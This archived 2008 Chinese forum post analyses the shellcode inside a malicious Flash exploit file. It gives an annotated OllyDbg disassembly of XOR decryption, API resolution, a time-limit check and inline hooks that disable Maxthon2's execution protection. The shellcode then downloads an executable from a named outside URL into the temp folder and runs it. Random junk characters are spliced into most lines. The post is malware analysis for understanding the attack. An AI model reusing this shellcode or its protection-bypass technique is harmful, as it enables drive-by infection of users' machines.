草根站长论坛's Archiver

石头 发表于 2008-6-3 23:26

flash漏洞所用shellcode的分析

最近几天flash漏洞的网马非常流行,于是我想分析一下shellcode是怎么跑的。
f8T X0w3I4m .}BE7\Pnr;[
但是能力所限,还难以像大牛们一样定位到有漏洞的代码及观察整个溢出过程。于是,我只能做后面一部分工作,即看看那个畸形flash文件中的shellcode长得什么样子,它运行起来会有什么动作。
Vh+AdPJ._&D&T9@
7uf&qC Sb1b 我使用的是从网站抓下来的win 9,0,115,0ie.swf。很容易地就在畸形.swf文件中找到了shellcode的位置,在文件头偏移0xEB处开始。之后我将这段shellcode拷贝到一个可执行文件的入口点开头处,这样我就可以在OD里直接调试shellcode了。Z!I$\R'FW C d

!TG5m3ngR B `fJ8S 调试过程中我发现,由于flash这次的漏洞,真的给了一个很充裕的空间让编写者尽情地发挥他们的shellcode编写才能,我看到了一个比以往任何一个利用ActiveX漏洞的shellcode都要复杂的shellcode。 u&j0s Qv
Kio,y#XC%A(V0E
该shellcode的功能很全面,不但有一般shellcode的[color=#0000ff]xor[/color]加密,获取API地址和执行下载病毒并运行的操作,还有更多的操作使得shellcode更加的强悍而实用。
0LT(@v N)C~ T 这些操作包括:
*tfak.Bp
'UY#Q Y-|!J [color=#0000ff]1. shellcode有效时间限制,当发现系统时间迟于shellcode中保存的一个固定时间时,直接ExitThread。这应该是flash网马生成器发布者所做的,可能出于商业考虑,避免别人通过简单修改病毒URL地址而生成自己的利用文件。
$W1]2qt7B2])d:S _8`I(E4x;S MZ'Bcr
2. 从kernel32.dll的输入表中取ZwCreateProcessEx(win2000时为NtCreateProcess)、ZwWriteVirtualMemory的地址,对这两处地址进行inline hook,hook到自身保存的相应的原始代码中,并对CreateProcessInternalW的前面几个字节进行了inline hook的还原。
A2Kyu#?0GA 这些操作都是针对MAXTHON等使用以上API HOOK方式对游览器进行执行保存的措施而出台的anti方式。虽然这种方法早已被提出,是大家皆知的,但是在以前的网马应用中,由于可用的缓冲区并不是那么大,不适于加入这些额外的代码,因此我一直没有看到还原hook过浏览器保护方法的实际利用。而在这次,我终于看到了一个实际利用的例子。ut_9wO8s`r

|`2kd2i7L~(U 3. 使用CreateProcessInternalA进行最后下载到本机的病毒文件的执行。以前一般的shellcode是用WinExec。[/color]HU6tk B0_ C5g7?)d
P SBhK;cv3]Q
下面是shellcode执行流程的分析,分析基本在注释当中,标号(1)、(2)……是代码的执行流程顺序,依照标号便可容易理解整个流程。
k u.jG7rC zj z w
8E8{*f_K 首先开始是一次[color=#0000ff]xor[/color]解密,每两个字节进行异或,而且每次异或的操作数随着改变。
q^q@P.S
V \@-qU9[ 00407000 > /EB 16           [color=#0000ff]jmp[/color]     [color=#ff0000]short[/color] 00407018                                   [color=#008000]; (1)F8[/color].^sn1dz5h6PMow
00407002   |5B              [color=#0000ff]pop[/color]     [color=#808000]ebx[/color]                                              [color=#008000]; (3)[/color]b)E F#AGcM3ML
00407003   |33C9            [color=#0000ff]xor[/color]     [color=#808000]ecx[/color], [color=#808000]ecx[/color]_VYF#u&j
00407005   |66:B8 2245      [color=#0000ff]mov[/color]     [color=#808000]ax[/color], 4522
$F(H1O3|$z(~a`| 00407009   |66:31044B       [color=#0000ff]xor[/color]     [color=#ff0000]word[/color] [color=#ff0000]ptr[/color] [[color=#808000]ebx[/color]+[color=#808000]ecx[/color]*2], [color=#808000]ax[/color]                         [color=#008000]; xor解密[/color]
U*SK3@6[BiLU&_ 0040700D   |41              [color=#0000ff]inc[/color]     [color=#808000]ecx[/color]Pn6{1i8hQ U)lr'X
0040700E   |40              [color=#0000ff]inc[/color]     [color=#808000]eax[/color]
xnOI;Etm/r+n 0040700F   |66:81F9 6201    [color=#0000ff]cmp[/color]     [color=#808000]cx[/color], 162rw4d.Pm
00407014  ^|7C F3           [color=#0000ff]jl[/color]      [color=#ff0000]short[/color] 00407009                                   [color=#008000]; (4)循环,在下面一句F4[/color]s3^*C7`&nz8w5A8SeV%s
00407016   |EB 05           [color=#0000ff]jmp[/color]     [color=#ff0000]short[/color] 0040701D                                   [color=#008000]; (5)再F8一下,跳入解密后的代码[/color]6` K'c{ t*O
00407018   \E8 E5FFFFFF     [color=#0000ff]call[/color]    00407002                                         [color=#008000]; (2)F7[/color]#s3`~*yky,l)iQ

@j-c,B@n 接下来是解密后的实际代码
x#j p4h%b;~-w t k3}L.OlA7sQD
首先是取得kernel32.dll中的API函数地址并填入后面的数据区。这里使用的是很常用的方法,通过PEB得到kernel32.dll的基址,然后通过遍历其输出表,把每一函数名称字符串经过一个加密运算,再将结果与输入的值比较,进而找到符合的API函数位置。o9z^1v Y(U*R;~
N/HW4qN
0040701D    E9 65020000     [color=#0000ff]jmp[/color]     00407287                                         [color=#008000]; (6)解密后代码开头,往下跳到最后[/color]
O3s3]P7Uh9N&R 00407022    5F              [color=#0000ff]pop[/color]     [color=#808000]edi[/color]                                              [color=#008000]; (8)定位自身地址,此时为后面数据区地址[/color]K9Gn IAY8U
00407023    6A 30           [color=#0000ff]push[/color]    30@7^{:a;C_t7J)z
00407025    59              [color=#0000ff]pop[/color]     [color=#808000]ecx[/color] zO5P`Id}
00407026    64:8B01         [color=#0000ff]mov[/color]     [color=#808000]eax[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [color=#808000]fs[/color]:[[color=#808000]ecx[/color]]                          [color=#008000]; _PEB[/color]
}O;M\T&^ 00407029    8B98 A8000000   [color=#0000ff]mov[/color]     [color=#808000]ebx[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]eax[/color]+A8]                          [color=#008000]; _PEB.OSMijorVersion[/color]
I+n+U%{}h 0040702F    8B40 0C         [color=#0000ff]mov[/color]     [color=#808000]eax[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]eax[/color]+C]
$RO\6J[&LV2y j{ 00407032    8B70 1C         [color=#0000ff]mov[/color]     [color=#808000]esi[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]eax[/color]+1C]hH#aO#S
00407035    AD              [color=#0000ff]lods[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]]Fe6a,FU}
00407036    8B68 08         [color=#0000ff]mov[/color]     [color=#808000]ebp[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]eax[/color]+8]                           [color=#008000]; (9)kernel32.dll基址入ebp[/color]-~-{:[Pf%t?Az
00407039    8BF7            [color=#0000ff]mov[/color]     [color=#808000]esi[/color], [color=#808000]edi[/color],ZL,GX$UM3j
0040703B    81EC 00020000   [color=#0000ff]sub[/color]     [color=#808000]esp[/color], 200
9L3E5nO~jN-C 00407041    85DB            [color=#0000ff]test[/color]    [color=#808000]ebx[/color], [color=#808000]ebx[/color]
5\B Ug%E x 00407043    75 07           [color=#0000ff]jnz[/color]     [color=#ff0000]short[/color] 0040704C                                   [color=#008000]; (10)判断是2000的系统还是XP,我这里是XP,直接跳走[/color]
4E~+j;b+fH} 00407045    C746 24 C9525E5>[color=#0000ff]mov[/color]     [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+24], 535E52C9                     [color=#008000]; 如是2000系统,则修改下面的数据,这样在2000时获取到的是NtCreateProcess,而在XP则是NtCreateProcessEx[/color]1G-M)Sx,G
0040704C    6A 09           [color=#0000ff]push[/color]    9
-R.{5m~\RV 0040704E    59              [color=#0000ff]pop[/color]     [color=#808000]ecx[/color] [!B4\zV6rp
0040704F    E8 EE010000     [color=#0000ff]call[/color]    00407242                                         [color=#008000]; (11)这里F8就可以了,依照数据区开头的几个加密结果,遍历输出表找函数,把函数地址覆盖掉原来的加密结果[/color]
l9^ e-[/}%J1UT5hE_ 00407054  ^ E2 F9           loopd   [color=#ff0000]short[/color] 0040704F                                   [color=#008000]; 循环,直接在下面F4[/color]hNU$Y&lXDy
g3{,Oi;J
这里填入的API地址依次为(以此时相对[color=#808000]esi[/color]的偏移,即下面调用时使用的[[color=#808000]esi[/color]+XX]中的XX为序)Ctj p0r1z
0x00 LoadLibraryA ETV#VF
0x04 GetTempPathA
jV-tm w}'U 0x08 DeleteFileA
%c?Hniob_0A \| 0x0C CreateProcessInternalA'MEgMz.d#a
0x10 ExitThread,
5Z?dj:A 0x14 VirtualProtect"\7Z7q"k9H6b/SRu
0x18 CreateProcessInternalW
m^ d` s RK)`] 0x1C CompareFileTime#kDD,a$wYC
0x20 GetSystemTimeAsFileTime
0CI*a^T6ND ;BDjLO
接着搜索内存得到一个“[color=#0000ff]retn[/color]”命令位置(实际上不一定是[color=#0000ff]retn[/color]命令),用于后面的anti-debug。)Hn%d;o)KEO&h1u }

F,l'L ZU d 00407056    40              [color=#0000ff]inc[/color]     [color=#808000]eax[/color]                                              [color=#008000]; GetSystemTimeAsFileTime[/color]
,]c!s+V-m7S {3XS 00407057    8038 C3         [color=#0000ff]cmp[/color]     [color=#ff0000]byte[/color] [color=#ff0000]ptr[/color] [[color=#808000]eax[/color]], 0C3kq a K(EUII3@
0040705A  ^ 75 FA           [color=#0000ff]jnz[/color]     [color=#ff0000]short[/color] 00407056                                   [color=#008000]; (12)循环搜索内存特征,其实是为了借用一个retn代码来改变程序流程反调试[/color]Sr\@`Y;C\
0040705C    8946 30         [color=#0000ff]mov[/color]     [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+30], [color=#808000]eax[/color]                          [color=#008000]; 这里搜索到的是7C801881[/color]
(w1F"j4D,L
_ {7Hy-x$Z B%Bxg4k0M 再接着遍历kernel32.dll的输入表,再取两个NATIVE API函数的地址。bh7c^8d$t.X p@

4W9Pj|1BR 0040705F    6A 02           [color=#0000ff]push[/color]    2
?0J`9`.Z4f2u,\ 00407061    59              [color=#0000ff]pop[/color]     [color=#808000]ecx[/color]!lK5ZE_b ~
00407062    E8 9E010000     [color=#0000ff]call[/color]    00407205                                         [color=#008000]; 再次搜索输出表得到函数地址[/color]
+V1]L3m}? 00407067  ^ E2 F9           loopd   [color=#ff0000]short[/color] 00407062
4W8yhX1Pr
JI { F3_ A.K*cT}5_ 这里取到的地址是(以此时相对[color=#808000]esi[/color]的偏移,即下面调用时使用的[[color=#808000]esi[/color]+XX]中的XX为序)
+zz^Xw]2I%Q 7oi Cu1yF
0x24 ZwCreateProcessEx(win2000时为NtCreateProcess)a"{ xC]-P_C
0x28 ZwWriteVirtualMemory
[:Dia@5G
FiS.V/?;fY t 接着是使用LoadLibraryA加载urlmon.dll并取得URLDownloadToFileA函数的地址。值得一提的是这里不是直接[color=#0000ff]call[/color]而是用在子函数里用先[color=#0000ff]push[/color]返回地址再[color=#0000ff]jmp[/color]的方式。,Ac Ay7w,Cw

0?9K#h*M4X7G 00407069    6A 01           [color=#0000ff]push[/color]    1#fw4fNQ+bC!g
0040706B    59              [color=#0000ff]pop[/color]     [color=#808000]ecx[/color]*qC ]&v#xmD1RM
0040706C    68 6F6E0000     [color=#0000ff]push[/color]    6E6FN4PL%?C#~
00407071    68 75726C6D     [color=#0000ff]push[/color]    6D6C7275
%m U*n1S/e8Hk } 00407076    54              [color=#0000ff]push[/color]    [color=#808000]esp[/color]                                              [color=#008000]; 'urlmon'[/color] c2v7gRc6C
00407077    8B06            [color=#0000ff]mov[/color]     [color=#808000]eax[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]]                             [color=#008000]; LoadLibraryA[/color]"{f:h;\6|Q
00407079    E8 10010000     [color=#0000ff]call[/color]    0040718E                                         [color=#008000]; (13)一个纯为了anti-debug而搞出来的子函数,直接在下一句下断,再F9就不会跑飞[/color]
g{}YV7f~ 0040707E    95              [color=#0000ff]xchg[/color]    [color=#808000]eax[/color], [color=#808000]ebp[/color]                                         [color=#008000]; urlmon.dll基址入ebp[/color](Xu'[;O)Tm.oF
0040707F    E8 BE010000     [color=#0000ff]call[/color]    00407242                                         [color=#008000]; (14)又找函数地址并保存,直接F8,可以看到找到的函数是URLDownloadToFileA[/color]
P;tD\)x3H$Z3T g-vGkG:^!a
URLDownloadToFileA函数地址被保存在[[color=#808000]esi[/color]+2C]!X3J)j {}7WA
D x!d6^4X0mj
在进入实质工作之前,就是附加的操作。
M|y|/d g
9q~X\R 首先是时间限制的验证
*],J U5yq%f*dP2r 00407084    68 3D400000     [color=#0000ff]push[/color]    403D                                             l(K7d1IXLz |1aq'C
00407089    6A FF           [color=#0000ff]push[/color]    -1
|v C&{IV 0040708B    6A FF           [color=#0000ff]push[/color]    -1
N*^+Wx;L&Z7N:h7e 0040708D    3E:DB2C24       [color=#0000ff]fld[/color]     [color=#ff0000]tbyte[/color] [color=#ff0000]ptr[/color] [color=#808000]ds[/color]:[[color=#808000]esp[/color]]
t#f&_n,J5lc4V+if 00407091    50              [color=#0000ff]push[/color]    [color=#808000]eax[/color]                                              [color=#008000]; 只是在堆栈腾出FILETIME结构的内存空间[/color]
@0Y7{NgS2w 00407092    50              [color=#0000ff]push[/color]    [color=#808000]eax[/color]m3U,EWfJgi ~
00407093    54              [color=#0000ff]push[/color]    [color=#808000]esp[/color]1FGe$fqG4|
00407094    FF56 20         [color=#0000ff]call[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+20]                               [color=#008000]; GetSystemTimeAsFileTime[/color]g/XK o2M%S-A,^
00407097    8BC4            [color=#0000ff]mov[/color]     [color=#808000]eax[/color], [color=#808000]esp[/color]J5h v$NYtvt;a;r
00407099    68 6EC2C801     [color=#0000ff]push[/color]    1C8C26E
\}zj[0Cl)Q~ 0040709E    68 00C0B336     [color=#0000ff]push[/color]    36B3C000.]7q`+@s
004070A3    54              [color=#0000ff]push[/color]    [color=#808000]esp[/color]y5QTgZQ`r
004070A4    50              [color=#0000ff]push[/color]    [color=#808000]eax[/color] G.O(J4N H [OCU;p6x#pf
004070A5    FF56 1C         [color=#0000ff]call[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+1C]                               [color=#008000]; CompareFileTime[/color]
l:s|}2f 004070A8    48              [color=#0000ff]dec[/color]     [color=#808000]eax[/color](^8U'xaQ q p#V/Z4l
004070A9    75 03           [color=#0000ff]jnz[/color]     [color=#ff0000]short[/color] 004070AE                                   [color=#008000]; (16)系统时间如果晚于设定好的时间,则不跳走[/color]
+k,@3N&B!O&F 004070AB    FF56 10         [color=#0000ff]call[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+10]                               [color=#008000]; 这样就直接ExitThread了,也就是这个shellcode的时间限制[/color]
:}l2^r:s[#t s#F&],h?X$d0e
我调试的时候,已经过了允许时间了,所以本来就会直接ExitThread,这时可以自己强行把[color=#808000]EIP[/color]改到下一句,不让它退出,继续调试。 yl&wL"]&`*ii4s

;o#lN:Y P8vE8F 接下来的部分我认为比较让我意外,就是我前面提到的,shellcode中自己保存了NATIVE API的原样代码,在这里对NATIVE API进行了inline hook,hook到shellcode自带的原样代码中,以及把CreateProcessInternalW前面的几个字节进行了还原,从而破坏了一些软件的浏览器执行保护功能,为自己执行被下载的病毒程序扫清了障碍,这是它优于此前我所见到的漏洞利用shellcode的重要关键。mf'zPFT_"V P

*|-J9fiafnZD M3hr 首先是将自身保存的NATIVE API原样代码拷贝到PEB后面的空间中。
/n?'O7e&_q 之所以要拷贝到这里,我想是为了运行的稳定,如果inline hook直接指向shellcode内部,那么shellcode执行完被清理掉之后,程序再调用相应NATIVE API的时候,就会崩溃掉。这里把代码拷进PEB后面的空间,可以保证在shellcode退出后这部分地址仍然能够正常访问,程序也还能正常运行(至少看起来是那样)。6Gy,b%hi0tx\
@h/Tr#w&^-~p(M
004070AE    6A 30           [color=#0000ff]push[/color]    30G9~j r"V6E
004070B0    59              [color=#0000ff]pop[/color]     [color=#808000]ecx[/color]%E z[!H MI:Hn L
004070B1    64:8B19         [color=#0000ff]mov[/color]     [color=#808000]ebx[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [color=#808000]fs[/color]:[[color=#808000]ecx[/color]]
Y0[1WM$u]#\ P 004070B4    8DAB 00040000   [color=#0000ff]lea[/color]     [color=#808000]ebp[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]ebx[/color]+400]                         [color=#008000]; (17)在PEB结构后面找到一块空着的内存[/color]
?I\0`.YgoV} 004070BA    8B9B A8000000   [color=#0000ff]mov[/color]     [color=#808000]ebx[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]ebx[/color]+A8]                          [color=#008000]; 再次确定是2000、XP还是2003系统,以在下面选择不同的跳转目标[/color]fL)iN1B ]-w4L(]l%q
004070C0    8BFD            [color=#0000ff]mov[/color]     [color=#808000]edi[/color], [color=#808000]ebp[/color] r?"rpIKgt
004070C2    56              [color=#0000ff]push[/color]    [color=#808000]esi[/color] jG0v]Dwu*lq&\
004070C3    E9 E0000000     [color=#0000ff]jmp[/color]     004071A8                                         [color=#008000]; (18)跳到下面[/color]
r X kp3B 004070C8    5E              [color=#0000ff]pop[/color]     [color=#808000]esi[/color]                                              [color=#008000]; (20)跳回这里[/color]a-Cy7C0Z
004070C9    F3:A5           [color=#0000ff]rep[/color]     [color=#0000ff]movs[/color] [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [color=#808000]es[/color]:[[color=#808000]edi[/color]], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]]         [color=#008000]; 把下面那些摸拟NATIVE API的代码拷进这块内存,用于后面inline hook[/color]c&C*mi f&y E#J}
004070CB    5E              [color=#0000ff]pop[/color]     [color=#808000]esi[/color]C+C K KqW-p
,O^.]q,uz5a
接着,将“找到的”ZwCreateProcessEx(win2000时为NtCreateProcess)和ZwWriteVirtualMemory的最前面部分,修改为“[color=#0000ff]push[/color] XXX,[color=#0000ff]retn[/color]”的样式,以跳到之前拷贝的代码中。注意这里考虑了win2000/XP/2003三种情况。-f I-W,NZ3]
H3r5U iW x
004070CC    8B7E 24         [color=#0000ff]mov[/color]     [color=#808000]edi[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+24]                          [color=#008000]; ZwCreateProcessEx[/color]7R*Dqc ^!txX9Al
004070CF    E8 25010000     [color=#0000ff]call[/color]    004071F9                                         [color=#008000]; VirtualProtect改函数头0x20为可读可写[/color]/bxY1gT_1VH
004070D4    6A 1A           [color=#0000ff]push[/color]    1A                                               [color=#008000]; 2003时NtCreateProcessEx对应的原始代码偏移[/color]
tEj&Y e7e)c,x 004070D6    6A 0D           [color=#0000ff]push[/color]    0D                                               [color=#008000]; XP时NtCreateProcessEx对应的原始代码偏移[/color]
j u~[`P 004070D8    6A 00           [color=#0000ff]push[/color]    0                                                [color=#008000]; 2000时NtCreateProcess对应的原始代码偏移[/color]
]Y0h!WZ ?!\X}9W 004070DA    8BC5            [color=#0000ff]mov[/color]     [color=#808000]eax[/color], [color=#808000]ebp[/color] zB9c6KiA@
004070DC    03049C          [color=#0000ff]add[/color]     [color=#808000]eax[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esp[/color]+[color=#808000]ebx[/color]*4]                       [color=#008000]; 根据版本选择不同的代码(以刚刚压栈的偏移量确定)[/color]
7i\Jt d 004070DF    C607 68         [color=#0000ff]mov[/color]     [color=#ff0000]byte[/color] [color=#ff0000]ptr[/color] [[color=#808000]edi[/color]], 68                               [color=#008000]; 代码"push……"[/color],XF ft1s
004070E2    47              [color=#0000ff]inc[/color]     [color=#808000]edi[/color]
Mg3e*|7wa-Ve;uW 004070E3    AB              [color=#0000ff]stos[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [color=#808000]es[/color]:[[color=#808000]edi[/color]]                               [color=#008000]; 内存中拷贝的代码[/color]
"rG%J"Q9z k.{ Y X 004070E4    C607 C3         [color=#0000ff]mov[/color]     [color=#ff0000]byte[/color] [color=#ff0000]ptr[/color] [[color=#808000]edi[/color]], 0C3                              [color=#008000]; ret……[/color]W.I ^*x:p[ Skh ~9V
004070E7    8B7E 28         [color=#0000ff]mov[/color]     [color=#808000]edi[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+28]                          [color=#008000]; ZwWriteVirtualMemory[/color]
r5]2F[,Z 004070EA    E8 0A010000     [color=#0000ff]call[/color]    004071F9
wsF/w&YV$\ 004070EF    6A 3D           [color=#0000ff]push[/color]    3D                                               [color=#008000]; 2003中ZwWriteVirtualMemory的原始代码偏移,同ZwCreateProcess(Ex)的情况[/color]L%d&Z1?U@$N7b
004070F1    6A 36           [color=#0000ff]push[/color]    36 i0@]Iv#U"\*v5Qe
004070F3    6A 27           [color=#0000ff]push[/color]    27
{/P.A,cGMt"zjy 004070F5    8BC5            [color=#0000ff]mov[/color]     [color=#808000]eax[/color], [color=#808000]ebp[/color]QIta5RJ6m zMX1H
004070F7    03049C          [color=#0000ff]add[/color]     [color=#808000]eax[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esp[/color]+[color=#808000]ebx[/color]*4]5]@2`d)G
004070FA    C607 68         [color=#0000ff]mov[/color]     [color=#ff0000]byte[/color] [color=#ff0000]ptr[/color] [[color=#808000]edi[/color]], 68
0~?%I,w B Pp 004070FD    47              [color=#0000ff]inc[/color]     [color=#808000]edi[/color]
qu$a*m%I n 004070FE    AB              [color=#0000ff]stos[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [color=#808000]es[/color]:[[color=#808000]edi[/color]]}2m(KC P6C
004070FF    C607 C3         [color=#0000ff]mov[/color]     [color=#ff0000]byte[/color] [color=#ff0000]ptr[/color] [[color=#808000]edi[/color]], 0C3&S2j-GvSx+@HV U
lRQ.f_o1}Y Fy|
[color=#0000ff]为什么我上面特别强调“找到的ZwCreateProcessEx和ZwWriteVirtualMemory的地址处”?
y4eq/W,T 我们千万不要忘记,这个做法是针对某些软件的,冲着哪个软件?1sOt-Rl5k B3_9q3P
我想到了MAXTHON2。
3Z j+b q)T)VH*t/]
'm2\'{F%}4BOWy 搜索一下关于MAXTHON2的浏览器执行保护的文章,很早的文章显示,MAXTHON2正是对ZwCreateProcessEx和ZwWriteVirtualMemory进行了IAT HOOK。][ _?q
而现在呢,shellcode从kernel32.dll的输入表中取ZwCreateProcessEx和ZwWriteVirtualMemory的地址,这意味着什么?#ri*B hz3k @4X
我大胆假设,当MAXTHON2游览漏洞利用网页的时候,shellcode的执行环境就在其进程中,那么,这时shellcode从kernel32.dll的输入表中取到的地址,正是被MAXTHON2给hook掉的结果,直接到了MAXTHON2的dll里面去了。
9Zd^ D#kl 这是shellcode作者有意而为之,因为接着它对这两个地址的代码进行了inline hook,又实际上转回了原始的代码。r$PN:IuStS2`
这样MAXTHON2就在完全没有察觉自己的IAT HOOK失效(本来就没有失效)的情况下,其执行保护被绕过了。h%F s*]6Kb8{
接下来的动作进一步证实了这一点,对CreateProcessInternalW开头的代码进行还原,这岂不是又正针对MAXTHON2对CreateProcessInternalW的inlline hook?![/color]
r@(q-P~Z M
W:^z\Oq7?Y 00407102    8B7E 18         [color=#0000ff]mov[/color]     [color=#808000]edi[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+18]                          [color=#008000]; CreateProcessInternalW[/color]%@2GHuN-\-Y'_.F K
00407105    E8 EF000000     [color=#0000ff]call[/color]    004071F9
lZ#M-MJT 0040710A    68 68080A00     [color=#0000ff]push[/color]    0A0868                                          
L"wcy5p7o8@Tu 0040710F    68 68080A00     [color=#0000ff]push[/color]    0A0868
g2{9|^PJ@M 00407114    68 558BEC6A     [color=#0000ff]push[/color]    6AEC8B55ykgY!l
00407119    8B049C          [color=#0000ff]mov[/color]     [color=#808000]eax[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esp[/color]+[color=#808000]ebx[/color]*4]K,}&t2CIUZ8HB
0040711C    AB              [color=#0000ff]stos[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [color=#808000]es[/color]:[[color=#808000]edi[/color]]                               [color=#008000]; 还原前面的几个字节,还原inline hook[/color]J ivX`M3b
0040711D    33C0            [color=#0000ff]xor[/color]     [color=#808000]eax[/color], [color=#808000]eax[/color]G7A X2Py
0040711F    50              [color=#0000ff]push[/color]    [color=#808000]eax[/color]
:f*m0ueA+E8@ 00407120    50              [color=#0000ff]push[/color]    [color=#808000]eax[/color]
` C-La ?%T@7nI 00407121    6A FF           [color=#0000ff]push[/color]    -1] V`R3F'| e
00407123    8B049C          [color=#0000ff]mov[/color]     [color=#808000]eax[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esp[/color]+[color=#808000]ebx[/color]*4]v1RE*} ^Y
00407126    AA              [color=#0000ff]stos[/color]    [color=#ff0000]byte[/color] [color=#ff0000]ptr[/color] [color=#808000]es[/color]:[[color=#808000]edi[/color]]f3k%z Ble n.B

x%TYj#f$B4[ 做完了这些操作,shellcode最后终于进入自己的实质性工作了。
NJ8y-huys3e
q WO.k+}q1a 首先,得到Temp文件夹地址,并在后面加入“orz.exe”,作为病毒文件的本地地址
uFYR(o0y
y%p2t^3Z7~g 00407127    8DBE 33010000   [color=#0000ff]lea[/color]     [color=#808000]edi[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+133]?A\!r)e,Ub\
0040712D    57              [color=#0000ff]push[/color]    [color=#808000]edi[/color]8Q_6w#A\ Bg
0040712E    68 FF000000     [color=#0000ff]push[/color]    0FF
K PM)I#F 00407133    FF56 04         [color=#0000ff]call[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+4]                                [color=#008000]; GetTempPathA[/color]Nyd1uIj?
00407136    03C7            [color=#0000ff]add[/color]     [color=#808000]eax[/color], [color=#808000]edi[/color]
"},U$^\MA 00407138    C700 6F727A2E   [color=#0000ff]mov[/color]     [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]eax[/color]], 2E7A726F                        [color=#008000]; 往得到的temp文件夹路径后面加入文件名[/color]
Rb7E6t(Kt!BA C/u 0040713E    C740 04 6578650>[color=#0000ff]mov[/color]     [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]eax[/color]+4], 657865                        [color=#008000]; 加入的文件名为"orz.exe"[/color]lz8c5[vR`|

*wR.Yl3q7b6} 为保险,先尝试把这个路径的文件删除。
uJpG l\-vj1U5J RcQ7`Y3D V m
00407145    57              [color=#0000ff]push[/color]    [color=#808000]edi[/color]
.slN k` kY#[Y 00407146    FF56 08         [color=#0000ff]call[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+8]                                [color=#008000]; DeleteFileA[/color]
.j Ufv8n k z"u 2z9d @azCbX)L
然后直接调用URLDownloadToFileA,从远程地址[url=http://www.0x4f.cn/test.exe][color=#0000ff]http://www.0x4f.cn/test.exe[/color][/url]下载病毒文件到orz.exe
LY0e2Z"?L x f+i?W
00407149    33DB            [color=#0000ff]xor[/color]     [color=#808000]ebx[/color], [color=#808000]ebx[/color]
S6ML&KCDK 0040714B    53              [color=#0000ff]push[/color]    [color=#808000]ebx[/color]
,hr4YYHFo{EC 0040714C    53              [color=#0000ff]push[/color]    [color=#808000]ebx[/color])io!IM8A z@
0040714D    57              [color=#0000ff]push[/color]    [color=#808000]edi[/color]
'z n[PZ.A P 0040714E    8D46 34         [color=#0000ff]lea[/color]     [color=#808000]eax[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+34]                          [color=#008000]; URL地址,"http://www.0x4f.cn/test.exe"[/color]+` yd n,q2so1LL
00407151    50              [color=#0000ff]push[/color]    [color=#808000]eax[/color]
Bc+z yW| 00407152    53              [color=#0000ff]push[/color]    [color=#808000]ebx[/color]
6s1~"F,] MMb4[$b~9| 00407153    FF56 2C         [color=#0000ff]call[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+2C]                               [color=#008000]; URLDownloadToFileA[/color].P{;Lu(c1w+P

7Zn)e Fhy 最后,shellcode执行所下载的文件,注意它使用了CreateProcessInternalA来进行。由于前面已经清除了对CreateProcessInternalW和ZwCreateProcessEx以及ZwWriterVirtualMemory的保护,病毒作者坚信此时使用CreateProcessInternalA有非常大的可能可以成功。
/_L0U#B)Sf5V
'O*L.Xk(v,_)l/s;Hw2p 00407156    33C0            [color=#0000ff]xor[/color]     [color=#808000]eax[/color], [color=#808000]eax[/color]
[,q'D \P*[ 00407158    8BFC            [color=#0000ff]mov[/color]     [color=#808000]edi[/color], [color=#808000]esp[/color]4d5U^B vX[]
0040715A    6A 12           [color=#0000ff]push[/color]    12
n(wnl*z6Yj 0040715C    59              [color=#0000ff]pop[/color]     [color=#808000]ecx[/color]
%C A#H-E2o^ 0040715D    AB              [color=#0000ff]stos[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [color=#808000]es[/color]:[[color=#808000]edi[/color]]
g BH4z4Fe 0040715E  ^ E2 FD           loopd   [color=#ff0000]short[/color] 0040715D                                   [color=#008000]; 循环,在堆栈中清出一块全0的空间[/color]K0G:_1?#|
00407160    66:C74424 3C 01>[color=#0000ff]mov[/color]     [color=#ff0000]word[/color] [color=#ff0000]ptr[/color] [[color=#808000]esp[/color]+3C], 1015M~3AVGLls_
